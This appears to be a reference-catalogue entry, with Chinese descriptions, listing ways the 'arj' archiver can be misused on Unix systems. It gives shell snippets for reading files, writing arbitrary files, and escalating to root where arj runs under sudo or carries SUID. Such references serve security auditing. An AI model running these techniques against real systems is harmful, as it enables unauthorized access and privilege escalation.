.. / arj

file-read

从文件中读取数据。

• The file appears amid some other textual information. The archive can also be downloaded then extracted offline.

  TF=$(mktemp -u)
  LFILE=要读取的文件路径
  arj a "$TF" "$LFILE"
  arj p "$TF"
  

file-write

将数据写入文件中。

• The archive can also be prepared offline then uploaded.

  TF=$(mktemp -d)
  LFILE=要写入的文件
  LDIR=where_to_write
  echo DATA >"$TF/$LFILE"
  arj a "$TF/a" "$TF/$LFILE"
  arj e "$TF/a" $LDIR
  

sudo

如果二进制文件被 sudo 允许以超级用户身份运行，可能被用于访问文件系统、提升或维持特权访问。

• The archive can also be prepared offline then uploaded.

  TF=$(mktemp -d)
  LFILE=要写入的文件
  LDIR=where_to_write
  echo DATA >"$TF/$LFILE"
  arj a "$TF/a" "$TF/$LFILE"
  sudo arj e "$TF/a" $LDIR
  

suid

suid是一种授予文件的权限类型，它允许用户使用者以文件所有者的权限来执行文件。

• The archive can also be prepared offline then uploaded.

  TF=$(mktemp -d)
  LFILE=要写入的文件
  LDIR=where_to_write
  echo DATA >"$TF/$LFILE"
  arj a "$TF/a" "$TF/$LFILE"
  ./arj e "$TF/a" $LDIR